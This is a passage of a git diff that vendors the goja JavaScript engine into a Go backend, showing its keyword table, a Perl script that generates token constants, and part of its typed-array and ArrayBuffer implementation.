CONTINUE: "continue", + DEBUGGER: "debugger", + INSTANCEOF: "instanceof", +} + +var keywordTable = map[string]_keyword{ + "if": { + token: IF, + }, + "in": { + token: IN, + }, + "do": { + token: DO, + }, + "var": { + token: VAR, + }, + "for": { + token: FOR, + }, + "new": { + token: NEW, + }, + "try": { + token: TRY, + }, + "this": { + token: THIS, + }, + "else": { + token: ELSE, + }, + "case": { + token: CASE, + }, + "void": { + token: VOID, + }, + "with": { + token: WITH, + }, + "async": { + token: ASYNC, + }, + "while": { + token: WHILE, + }, + "break": { + token: BREAK, + }, + "catch": { + token: CATCH, + }, + "throw": { + token: THROW, + }, + "return": { + token: RETURN, + }, + "typeof": { + token: TYPEOF, + }, + "delete": { + token: DELETE, + }, + "switch": { + token: SWITCH, + }, + "default": { + token: DEFAULT, + }, + "finally": { + token: FINALLY, + }, + "function": { + token: FUNCTION, + }, + "continue": { + token: CONTINUE, + }, + "debugger": { + token: DEBUGGER, + }, + "instanceof": { + token: INSTANCEOF, + }, + "const": { + token: CONST, + }, + "class": { + token: CLASS, + }, + "enum": { + token: KEYWORD, + futureKeyword: true, + }, + "export": { + token: KEYWORD, + futureKeyword: true, + }, + "extends": { + token: EXTENDS, + }, + "import": { + token: KEYWORD, + futureKeyword: true, + }, + "super": { + token: SUPER, + }, + /* + "implements": { + token: KEYWORD, + futureKeyword: true, + strict: true, + }, + "interface": { + token: KEYWORD, + futureKeyword: true, + strict: true, + },*/ + "let": { + token: LET, + strict: true, + }, + /*"package": { + token: KEYWORD, + futureKeyword: true, + strict: true, + }, + "private": { + token: KEYWORD, + futureKeyword: true, + strict: true, + }, + "protected": { + token: KEYWORD, + futureKeyword: true, + strict: true, + }, + "public": { + token: KEYWORD, + futureKeyword: true, + strict: true, + },*/ + "static": { + token: STATIC, + strict: true, + }, + "await": { + token: AWAIT, + }, + "yield": { + token: YIELD, + }, + "false": { + token: BOOLEAN, + }, + "true": { + token: BOOLEAN, + }, + "null": { + token: NULL, + }, +} diff --git a/backend/vendor/github.com/dop251/goja/token/tokenfmt b/backend/vendor/github.com/dop251/goja/token/tokenfmt new file mode 100644 index 0000000..63dd5d9 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/token/tokenfmt @@ -0,0 +1,222 @@ +#!/usr/bin/env perl + +use strict; +use warnings; + +my (%token, @order, @keywords); + +{ + my $keywords; + my @const; + push @const, <<_END_; +package token + +const( + _ Token = iota +_END_ + + for (split m/\n/, <<_END_) { +ILLEGAL +EOF +COMMENT +KEYWORD + +STRING +BOOLEAN +NULL +NUMBER +IDENTIFIER + +PLUS + +MINUS - +MULTIPLY * +SLASH / +REMAINDER % + +AND & +OR | +EXCLUSIVE_OR ^ +SHIFT_LEFT << +SHIFT_RIGHT >> +UNSIGNED_SHIFT_RIGHT >>> +AND_NOT &^ + +ADD_ASSIGN += +SUBTRACT_ASSIGN -= +MULTIPLY_ASSIGN *= +QUOTIENT_ASSIGN /= +REMAINDER_ASSIGN %= + +AND_ASSIGN &= +OR_ASSIGN |= +EXCLUSIVE_OR_ASSIGN ^= +SHIFT_LEFT_ASSIGN <<= +SHIFT_RIGHT_ASSIGN >>= +UNSIGNED_SHIFT_RIGHT_ASSIGN >>>= +AND_NOT_ASSIGN &^= + +LOGICAL_AND && +LOGICAL_OR || +INCREMENT ++ +DECREMENT -- + +EQUAL == +STRICT_EQUAL === +LESS < +GREATER > +ASSIGN = +NOT ! + +BITWISE_NOT ~ + +NOT_EQUAL != +STRICT_NOT_EQUAL !== +LESS_OR_EQUAL <= +GREATER_OR_EQUAL <= + +LEFT_PARENTHESIS ( +LEFT_BRACKET [ +LEFT_BRACE { +COMMA , +PERIOD . + +RIGHT_PARENTHESIS ) +RIGHT_BRACKET ] +RIGHT_BRACE } +SEMICOLON ; +COLON : +QUESTION_MARK ? + +firstKeyword +IF +IN +DO + +VAR +FOR +NEW +TRY + +THIS +ELSE +CASE +VOID +WITH + +WHILE +BREAK +CATCH +THROW + +RETURN +TYPEOF +DELETE +SWITCH + +DEFAULT +FINALLY + +FUNCTION +CONTINUE +DEBUGGER + +INSTANCEOF +lastKeyword +_END_ + chomp; + + next if m/^\s*#/; + + my ($name, $symbol) = m/(\w+)\s*(\S+)?/; + + if (defined $symbol) { + push @order, $name; + push @const, "$name // $symbol"; + $token{$name} = $symbol; + } elsif (defined $name) { + $keywords ||= $name eq 'firstKeyword'; + + push @const, $name; + #$const[-1] .= " Token = iota" if 2 == @const; + if ($name =~ m/^([A-Z]+)/) { + push @keywords, $name if $keywords; + push @order, $name; + if ($token{SEMICOLON}) { + $token{$name} = lc $1; + } else { + $token{$name} = $name; + } + } + } else { + push @const, ""; + } + + } + push @const, ")"; + print join "\n", @const, ""; +} + +{ + print <<_END_; + +var token2string = [...]string{ +_END_ + for my $name (@order) { + print "$name: \"$token{$name}\",\n"; + } + print <<_END_; +} +_END_ + + print <<_END_; + +var keywordTable = map[string]_keyword{ +_END_ + for my $name (@keywords) { + print <<_END_ + "@{[ lc $name ]}": _keyword{ + token: $name, + }, +_END_ + } + + for my $name (qw/ + const + class + enum + export + extends + import + super + /) { + print <<_END_ + "$name": _keyword{ + token: KEYWORD, + futureKeyword: true, + }, +_END_ + } + + for my $name (qw/ + implements + interface + let + package + private + protected + public + static + /) { + print <<_END_ + "$name": _keyword{ + token: KEYWORD, + futureKeyword: true, + strict: true, + }, +_END_ + } + + print <<_END_; +} +_END_ +} diff --git a/backend/vendor/github.com/dop251/goja/typedarrays.go b/backend/vendor/github.com/dop251/goja/typedarrays.go new file mode 100644 index 0000000..5c91bcc --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/typedarrays.go @@ -0,0 +1,1327 @@ +package goja + +import ( + "math" + "math/big" + "reflect" + "strconv" + "unsafe" + + "github.com/dop251/goja/unistring" +) + +type byteOrder bool + +const ( + bigEndian byteOrder = false + littleEndian byteOrder = true +) + +var ( + nativeEndian byteOrder + + arrayBufferType = reflect.TypeOf(ArrayBuffer{}) +) + +type typedArrayObjectCtor func(buf *arrayBufferObject, offset, length int, proto *Object) *typedArrayObject + +type arrayBufferObject struct { + baseObject + detached bool + data []byte +} + +// ArrayBuffer is a Go wrapper around ECMAScript ArrayBuffer. Calling Runtime.ToValue() on it +// returns the underlying ArrayBuffer. Calling Export() on an ECMAScript ArrayBuffer returns a wrapper. +// Use Runtime.NewArrayBuffer([]byte) to create one. +type ArrayBuffer struct { + buf *arrayBufferObject +} + +type dataViewObject struct { + baseObject + viewedArrayBuf *arrayBufferObject + byteLen, byteOffset int +} + +type typedArray interface { + toRaw(Value) uint64 + get(idx int) Value + set(idx int, value Value) + getRaw(idx int) uint64 + setRaw(idx int, raw uint64) + less(i, j int) bool + swap(i, j int) + typeMatch(v Value) bool + export(offset int, length int) interface{} + exportType() reflect.Type +} + +type uint8Array []byte +type uint8ClampedArray []byte +type int8Array []byte +type uint16Array []byte +type int16Array []byte +type uint32Array []byte +type int32Array []byte +type float32Array []byte +type float64Array []byte +type bigInt64Array []byte +type bigUint64Array []byte + +type typedArrayObject struct { + baseObject + viewedArrayBuf *arrayBufferObject + defaultCtor *Object + length, offset int + elemSize int + typedArray typedArray +} + +func (a ArrayBuffer) toValue(r *Runtime) Value { + if a.buf == nil { + return _null + } + v := a.buf.val + if v.runtime != r { + panic(r.NewTypeError("Illegal runtime transition of an ArrayBuffer")) + } + return v +} + +// Bytes returns the underlying []byte for this ArrayBuffer. +// For detached ArrayBuffers returns nil. +func (a ArrayBuffer) Bytes() []byte { + return a.buf.data +} + +// Detach the ArrayBuffer. After this, the underlying []byte becomes unreferenced and any attempt +// to use this ArrayBuffer results in a TypeError. +// Returns false if it was already detached, true otherwise. +// Note, this method may only be called from the goroutine that 'owns' the Runtime, it may not +// be called concurrently. +func (a ArrayBuffer) Detach() bool { + if a.buf.detached { + return false + } + a.buf.detach() + return true +} + +// Detached returns true if the ArrayBuffer is detached. +func (a ArrayBuffer) Detached() bool { + return a.buf.detached +} + +// NewArrayBuffer creates a new instance of ArrayBuffer backed by the provided byte slice. +// +// Warning: be careful when using unaligned slices (sub-slices that do not start at word boundaries). If later a +// typed array of a multibyte type (uint16, uint32, etc.) is created from a buffer backed by an unaligned slice, +// using this typed array will result in unaligned access which may cause performance degradation or runtime panics +// on some architectures or configurations. +func (r *Runtime) NewArrayBuffer(data []byte) ArrayBuffer { + buf := r._newArrayBuffer(r.getArrayBufferPrototype(), nil) + buf.data = data + return ArrayBuffer{ + buf: buf, + } +} + +func (a *uint8Array) toRaw(v Value) uint64 { + return uint64(toUint8(v)) +} + +func (a *uint8Array) ptr(idx int) *uint8 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*uint8)(unsafe.Pointer(uintptr(p) + uintptr(idx))) +} + +func (a *uint8Array) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *uint8Array) set(idx int, value Value) { + *(a.ptr(idx)) = toUint8(value) +} + +func (a *uint8Array) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *uint8Array) setRaw(idx int, raw uint64) { + *(a.ptr(idx)) = uint8(raw) +} + +func (a *uint8Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *uint8Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *uint8Array) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= 0 && i <= 255 + } + return false +} + +func (a *uint8Array) export(offset int, length int) interface{} { + return ([]uint8)(*a)[offset : offset+length : offset+length] +} + +func (a *uint8Array) exportType() reflect.Type { + return typeBytes +} + +func (a *uint8ClampedArray) toRaw(v Value) uint64 { + return uint64(toUint8Clamp(v)) +} + +func (a *uint8ClampedArray) ptr(idx int) *uint8 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*uint8)(unsafe.Pointer(uintptr(p) + uintptr(idx))) +} + +func (a *uint8ClampedArray) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *uint8ClampedArray) set(idx int, value Value) { + *(a.ptr(idx)) = toUint8Clamp(value) +} + +func (a *uint8ClampedArray) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *uint8ClampedArray) setRaw(idx int, raw uint64) { + *(a.ptr(idx)) = uint8(raw) +} + +func (a *uint8ClampedArray) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *uint8ClampedArray) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *uint8ClampedArray) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= 0 && i <= 255 + } + return false +} + +func (a *uint8ClampedArray) export(offset int, length int) interface{} { + return ([]uint8)(*a)[offset : offset+length : offset+length] +} + +func (a *uint8ClampedArray) exportType() reflect.Type { + return typeBytes +} + +func (a *int8Array) ptr(idx int) *int8 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*int8)(unsafe.Pointer(uintptr(p) + uintptr(idx))) +} + +func (a *int8Array) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *int8Array) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *int8Array) set(idx int, value Value) { + *(a.ptr(idx)) = toInt8(value) +} + +func (a *int8Array) toRaw(v Value) uint64 { + return uint64(toInt8(v)) +} + +func (a *int8Array) setRaw(idx int, v uint64) { + *(a.ptr(idx)) = int8(v) +} + +func (a *int8Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *int8Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *int8Array) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= math.MinInt8 && i <= math.MaxInt8 + } + return false +} + +func (a *int8Array) export(offset int, length int) interface{} { + var res []int8 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset) + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeInt8Array = reflect.TypeOf(([]int8)(nil)) + +func (a *int8Array) exportType() reflect.Type { + return typeInt8Array +} + +func (a *uint16Array) toRaw(v Value) uint64 { + return uint64(toUint16(v)) +} + +func (a *uint16Array) ptr(idx int) *uint16 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*uint16)(unsafe.Pointer(uintptr(p) + uintptr(idx)*2)) +} + +func (a *uint16Array) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *uint16Array) set(idx int, value Value) { + *(a.ptr(idx)) = toUint16(value) +} + +func (a *uint16Array) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *uint16Array) setRaw(idx int, raw uint64) { + *(a.ptr(idx)) = uint16(raw) +} + +func (a *uint16Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *uint16Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *uint16Array) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= 0 && i <= math.MaxUint16 + } + return false +} + +var typeUint16Array = reflect.TypeOf(([]uint16)(nil)) + +func (a *uint16Array) export(offset int, length int) interface{} { + var res []uint16 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*2 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +func (a *uint16Array) exportType() reflect.Type { + return typeUint16Array +} + +func (a *int16Array) ptr(idx int) *int16 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*int16)(unsafe.Pointer(uintptr(p) + uintptr(idx)*2)) +} + +func (a *int16Array) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *int16Array) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *int16Array) set(idx int, value Value) { + *(a.ptr(idx)) = toInt16(value) +} + +func (a *int16Array) toRaw(v Value) uint64 { + return uint64(toInt16(v)) +} + +func (a *int16Array) setRaw(idx int, v uint64) { + *(a.ptr(idx)) = int16(v) +} + +func (a *int16Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *int16Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *int16Array) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= math.MinInt16 && i <= math.MaxInt16 + } + return false +} + +func (a *int16Array) export(offset int, length int) interface{} { + var res []int16 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*2 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeInt16Array = reflect.TypeOf(([]int16)(nil)) + +func (a *int16Array) exportType() reflect.Type { + return typeInt16Array +} + +func (a *uint32Array) ptr(idx int) *uint32 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*uint32)(unsafe.Pointer(uintptr(p) + uintptr(idx)*4)) +} + +func (a *uint32Array) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *uint32Array) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *uint32Array) set(idx int, value Value) { + *(a.ptr(idx)) = toUint32(value) +} + +func (a *uint32Array) toRaw(v Value) uint64 { + return uint64(toUint32(v)) +} + +func (a *uint32Array) setRaw(idx int, v uint64) { + *(a.ptr(idx)) = uint32(v) +} + +func (a *uint32Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *uint32Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *uint32Array) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= 0 && i <= math.MaxUint32 + } + return false +} + +func (a *uint32Array) export(offset int, length int) interface{} { + var res []uint32 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*4 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeUint32Array = reflect.TypeOf(([]uint32)(nil)) + +func (a *uint32Array) exportType() reflect.Type { + return typeUint32Array +} + +func (a *int32Array) ptr(idx int) *int32 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*int32)(unsafe.Pointer(uintptr(p) + uintptr(idx)*4)) +} + +func (a *int32Array) get(idx int) Value { + return intToValue(int64(*(a.ptr(idx)))) +} + +func (a *int32Array) getRaw(idx int) uint64 { + return uint64(*(a.ptr(idx))) +} + +func (a *int32Array) set(idx int, value Value) { + *(a.ptr(idx)) = toInt32(value) +} + +func (a *int32Array) toRaw(v Value) uint64 { + return uint64(toInt32(v)) +} + +func (a *int32Array) setRaw(idx int, v uint64) { + *(a.ptr(idx)) = int32(v) +} + +func (a *int32Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *int32Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *int32Array) typeMatch(v Value) bool { + if i, ok := v.(valueInt); ok { + return i >= math.MinInt32 && i <= math.MaxInt32 + } + return false +} + +func (a *int32Array) export(offset int, length int) interface{} { + var res []int32 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*4 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeInt32Array = reflect.TypeOf(([]int32)(nil)) + +func (a *int32Array) exportType() reflect.Type { + return typeInt32Array +} + +func (a *float32Array) ptr(idx int) *float32 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*float32)(unsafe.Pointer(uintptr(p) + uintptr(idx)*4)) +} + +func (a *float32Array) get(idx int) Value { + return floatToValue(float64(*(a.ptr(idx)))) +} + +func (a *float32Array) getRaw(idx int) uint64 { + return uint64(math.Float32bits(*(a.ptr(idx)))) +} + +func (a *float32Array) set(idx int, value Value) { + *(a.ptr(idx)) = toFloat32(value) +} + +func (a *float32Array) toRaw(v Value) uint64 { + return uint64(math.Float32bits(toFloat32(v))) +} + +func (a *float32Array) setRaw(idx int, v uint64) { + *(a.ptr(idx)) = math.Float32frombits(uint32(v)) +} + +func typedFloatLess(x, y float64) bool { + xNan := math.IsNaN(x) + yNan := math.IsNaN(y) + if yNan { + return !xNan + } else if xNan { + return false + } + if x == 0 && y == 0 { // handle neg zero + return math.Signbit(x) + } + return x < y +} + +func (a *float32Array) less(i, j int) bool { + return typedFloatLess(float64(*(a.ptr(i))), float64(*(a.ptr(j)))) +} + +func (a *float32Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *float32Array) typeMatch(v Value) bool { + switch v.(type) { + case valueInt, valueFloat: + return true + } + return false +} + +func (a *float32Array) export(offset int, length int) interface{} { + var res []float32 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*4 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeFloat32Array = reflect.TypeOf(([]float32)(nil)) + +func (a *float32Array) exportType() reflect.Type { + return typeFloat32Array +} + +func (a *float64Array) ptr(idx int) *float64 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*float64)(unsafe.Pointer(uintptr(p) + uintptr(idx)*8)) +} + +func (a *float64Array) get(idx int) Value { + return floatToValue(*(a.ptr(idx))) +} + +func (a *float64Array) getRaw(idx int) uint64 { + return math.Float64bits(*(a.ptr(idx))) +} + +func (a *float64Array) set(idx int, value Value) { + *(a.ptr(idx)) = value.ToFloat() +} + +func (a *float64Array) toRaw(v Value) uint64 { + return math.Float64bits(v.ToFloat()) +} + +func (a *float64Array) setRaw(idx int, v uint64) { + *(a.ptr(idx)) = math.Float64frombits(v) +} + +func (a *float64Array) less(i, j int) bool { + return typedFloatLess(*(a.ptr(i)), *(a.ptr(j))) +} + +func (a *float64Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *float64Array) typeMatch(v Value) bool { + switch v.(type) { + case valueInt, valueFloat: + return true + } + return false +} + +func (a *float64Array) export(offset int, length int) interface{} { + var res []float64 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*8 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeFloat64Array = reflect.TypeOf(([]float64)(nil)) + +func (a *float64Array) exportType() reflect.Type { + return typeFloat64Array +} + +func (a *bigInt64Array) toRaw(value Value) uint64 { + return toBigInt64(value).Uint64() +} + +func (a *bigInt64Array) ptr(idx int) *int64 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*int64)(unsafe.Pointer(uintptr(p) + uintptr(idx)*8)) +} + +func (a *bigInt64Array) get(idx int) Value { + return (*valueBigInt)(big.NewInt(*a.ptr(idx))) +} + +func toBigInt64(v Value) *big.Int { + n := (*big.Int)(toBigInt(v)) + + twoTo64 := new(big.Int).Lsh(big.NewInt(1), 64) + twoTo63 := new(big.Int).Lsh(big.NewInt(1), 63) + + int64bit := new(big.Int).Mod(n, twoTo64) + if int64bit.Cmp(twoTo63) >= 0 { + return int64bit.Sub(int64bit, twoTo64) + } + return int64bit +} + +func (a *bigInt64Array) set(idx int, value Value) { + *(a.ptr(idx)) = toBigInt64(value).Int64() +} + +func (a *bigInt64Array) getRaw(idx int) uint64 { + return uint64(*a.ptr(idx)) +} + +func (a *bigInt64Array) setRaw(idx int, raw uint64) { + *(a.ptr(idx)) = int64(raw) +} + +func (a *bigInt64Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *bigInt64Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *bigInt64Array) typeMatch(v Value) bool { + if _, ok := v.(*valueBigInt); ok { + return true + } + return false +} + +func (a *bigInt64Array) export(offset int, length int) interface{} { + var res []int64 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*8 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeBigInt64Array = reflect.TypeOf(([]int64)(nil)) + +func (a *bigInt64Array) exportType() reflect.Type { + return typeBigInt64Array +} + +func (a *bigUint64Array) toRaw(value Value) uint64 { + return toBigUint64(value).Uint64() +} + +func (a *bigUint64Array) ptr(idx int) *uint64 { + p := unsafe.Pointer((*reflect.SliceHeader)(unsafe.Pointer(a)).Data) + return (*uint64)(unsafe.Pointer(uintptr(p) + uintptr(idx)*8)) +} + +func (a *bigUint64Array) get(idx int) Value { + return (*valueBigInt)(new(big.Int).SetUint64(*a.ptr(idx))) +} + +func toBigUint64(v Value) *big.Int { + n := (*big.Int)(toBigInt(v)) + return new(big.Int).Mod(n, new(big.Int).Lsh(big.NewInt(1), 64)) +} + +func (a *bigUint64Array) set(idx int, value Value) { + *(a.ptr(idx)) = toBigUint64(value).Uint64() +} + +func (a *bigUint64Array) getRaw(idx int) uint64 { + return *a.ptr(idx) +} + +func (a *bigUint64Array) setRaw(idx int, raw uint64) { + *(a.ptr(idx)) = raw +} + +func (a *bigUint64Array) less(i, j int) bool { + return *(a.ptr(i)) < *(a.ptr(j)) +} + +func (a *bigUint64Array) swap(i, j int) { + pi, pj := a.ptr(i), a.ptr(j) + *pi, *pj = *pj, *pi +} + +func (a *bigUint64Array) typeMatch(v Value) bool { + if _, ok := v.(*valueBigInt); ok { + return true + } + return false +} + +func (a *bigUint64Array) export(offset int, length int) interface{} { + var res []uint64 + sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&res)) + sliceHeader.Data = (*reflect.SliceHeader)(unsafe.Pointer(a)).Data + uintptr(offset)*8 + sliceHeader.Len = length + sliceHeader.Cap = length + return res +} + +var typeBigUint64Array = reflect.TypeOf(([]uint64)(nil)) + +func (a *bigUint64Array) exportType() reflect.Type { + return typeBigUint64Array +} + +func (a *typedArrayObject) _getIdx(idx int) Value { + if 0 <= idx && idx < a.length { + if !a.viewedArrayBuf.ensureNotDetached(false) { + return nil + } + return a.typedArray.get(idx + a.offset) + } + return nil +} + +func (a *typedArrayObject) getOwnPropStr(name unistring.String) Value { + idx, ok := strToIntNum(name) + if ok { + v := a._getIdx(idx) + if v != nil { + return &valueProperty{ + value: v, + writable: true, + enumerable: true, + configurable: true, + } + } + return nil + } + if idx == 0 { + return nil + } + return a.baseObject.getOwnPropStr(name) +} + +func (a *typedArrayObject) getOwnPropIdx(idx valueInt) Value { + v := a._getIdx(toIntClamp(int64(idx))) + if v != nil { + return &valueProperty{ + value: v, + writable: true, + enumerable: true, + configurable: true, + } + } + return nil +} + +func (a *typedArrayObject) getStr(name unistring.String, receiver Value) Value { + idx, ok := strToIntNum(name) + if ok { + return a._getIdx(idx) + } + if idx == 0 { + return nil + } + return a.baseObject.getStr(name, receiver) +} + +func (a *typedArrayObject) getIdx(idx valueInt, receiver Value) Value { + return a._getIdx(toIntClamp(int64(idx))) +} + +func (a *typedArrayObject) isValidIntegerIndex(idx int) bool { + if a.viewedArrayBuf.ensureNotDetached(false) { + if idx >= 0 && idx < a.length { + return true + } + } + return false +} + +func (a *typedArrayObject) _putIdx(idx int, v Value) { + switch a.typedArray.(type) { + case *bigInt64Array, *bigUint64Array: + v = toBigInt(v) + default: + v = v.ToNumber() + } + if a.isValidIntegerIndex(idx) { + a.typedArray.set(idx+a.offset, v) + } +} + +func (a *typedArrayObject) _hasIdx(idx int) bool { + return a.isValidIntegerIndex(idx) +} + +func (a *typedArrayObject) setOwnStr(p unistring.String, v Value, throw bool) bool { + idx, ok := strToIntNum(p) + if ok { + a._putIdx(idx, v) + return true + } + if idx == 0 { + toNumeric(v) // make sure it throws + return true + } + return a.baseObject.setOwnStr(p, v, throw) +} + +func (a *typedArrayObject) setOwnIdx(p valueInt, v Value, throw bool) bool { + a._putIdx(toIntClamp(int64(p)), v) + return true +} + +func (a *typedArrayObject) setForeignStr(p unistring.String, v, receiver Value, throw bool) (res bool, handled bool) { + return a._setForeignStr(p, a.getOwnPropStr(p), v, receiver, throw) +} + +func (a *typedArrayObject) setForeignIdx(p valueInt, v, receiver Value, throw bool) (res bool, handled bool) { + return a._setForeignIdx(p, trueValIfPresent(a.hasOwnPropertyIdx(p)), v, receiver, throw) +} + +func (a *typedArrayObject) hasOwnPropertyStr(name unistring.String) bool { + idx, ok := strToIntNum(name) + if ok { + return a._hasIdx(idx) + } + if idx == 0 { + return false + } + return a.baseObject.hasOwnPropertyStr(name) +} + +func (a *typedArrayObject) hasOwnPropertyIdx(idx valueInt) bool { + return a._hasIdx(toIntClamp(int64(idx))) +} + +func (a *typedArrayObject) hasPropertyStr(name unistring.String) bool { + idx, ok := strToIntNum(name) + if ok { + return a._hasIdx(idx) + } + if idx == 0 { + return false + } + return a.baseObject.hasPropertyStr(name) +} + +func (a *typedArrayObject) hasPropertyIdx(idx valueInt) bool { + return a.hasOwnPropertyIdx(idx) +} + +func (a *typedArrayObject) _defineIdxProperty(idx int, desc PropertyDescriptor, throw bool) bool { + if desc.Configurable == FLAG_FALSE || desc.Enumerable == FLAG_FALSE || desc.IsAccessor() || desc.Writable == FLAG_FALSE { + a.val.runtime.typeErrorResult(throw, "Cannot redefine property: %d", idx) + return false + } + _, ok := a._defineOwnProperty(unistring.String(strconv.Itoa(idx)), a.getOwnPropIdx(valueInt(idx)), desc, throw) + if ok { + if !a.isValidIntegerIndex(idx) { + a.val.runtime.typeErrorResult(throw, "Invalid typed array index") + return false + } + a._putIdx(idx, desc.Value) + return true + } + return ok +} + +func (a *typedArrayObject) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + idx, ok := strToIntNum(name) + if ok { + return a._defineIdxProperty(idx, desc, throw) + } + if idx == 0 { + a.viewedArrayBuf.ensureNotDetached(throw) + a.val.runtime.typeErrorResult(throw, "Invalid typed array index") + return false + } + return a.baseObject.defineOwnPropertyStr(name, desc, throw) +} + +func (a *typedArrayObject) defineOwnPropertyIdx(name valueInt, desc PropertyDescriptor, throw bool) bool { + return a._defineIdxProperty(toIntClamp(int64(name)), desc, throw) +} + +func (a *typedArrayObject) deleteStr(name unistring.String, throw bool) bool { + idx, ok := strToIntNum(name) + if ok { + if a.isValidIntegerIndex(idx) { + a.val.runtime.typeErrorResult(throw, "Cannot delete property '%d' of %s", idx, a.val.String()) + return false + } + return true + } + if idx == 0 { + return true + } + return a.baseObject.deleteStr(name, throw) +} + +func (a *typedArrayObject) deleteIdx(idx valueInt, throw bool) bool { + if a.viewedArrayBuf.ensureNotDetached(false) && idx >= 0 && int64(idx) < int64(a.length) { + a.val.runtime.typeErrorResult(throw, "Cannot delete property '%d' of %s", idx, 